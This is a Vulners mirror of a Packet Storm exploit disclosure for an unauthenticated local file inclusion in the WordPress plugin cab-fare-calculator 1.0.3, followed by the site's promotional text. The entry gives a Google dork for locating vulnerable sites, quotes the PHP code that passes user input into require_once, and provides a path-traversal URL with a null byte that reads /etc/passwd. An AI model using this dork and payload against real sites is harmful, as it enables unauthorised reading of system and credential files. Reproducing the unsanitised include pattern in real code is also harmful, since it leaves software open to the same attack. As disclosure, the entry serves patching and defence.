Lucene search
K

WordPress Cab-Fare-Calculator 1.0.3 Local File Inclusion

🗓️ 30 Mar 2022 00:00:00Reported by Hassan Khan YusufzaiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 304 Views

WordPress Cab-Fare-Calculator 1.0.3 Local File Inclusio

Code
`# Exploit Title: WordPress Plugin cab-fare-calculator 1.0.3 - Local  
File Inclusion - Unauthenticated  
# Google Dork: inurl:/wp-content/plugins/cab-fare-calculator/  
# Date: 29-03-2022  
# Exploit Author: Hassan Khan Yusufzai - Splint3r7  
# Vendor Homepage: https://wordpress.org/plugins/cab-fare-calculator/  
# Version: 1.0.3  
# Tested on: Firefox  
# Contact me: h [at] spidersilk.com  
  
# Vulnerable File: tblight.php  
  
# Vulnerable Code:  
  
```  
if(!empty($_GET['controller']) && !empty($_GET['action']) &&  
!empty($_GET['ajax']) && $_GET['ajax'] == 1)  
{  
require_once('' . 'controllers/'.$_GET['controller'].'.php');  
}  
```  
  
# Proof of concept:  
  
http://localhost:10003//wp-content/plugins/cab-fare-calculator/tblight.php?controller=../../../../../../../../../../../etc/passwd%00&action=1&ajax=1  
<http://localhost:10003/wp-content/plugins/cab-fare-calculator/tblight.php?controller=../../../../../../../../../../../etc/index&action=1&ajax=1>  
  
# POC image:  
  
https://prnt.sc/9O8_akDp2HPC  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation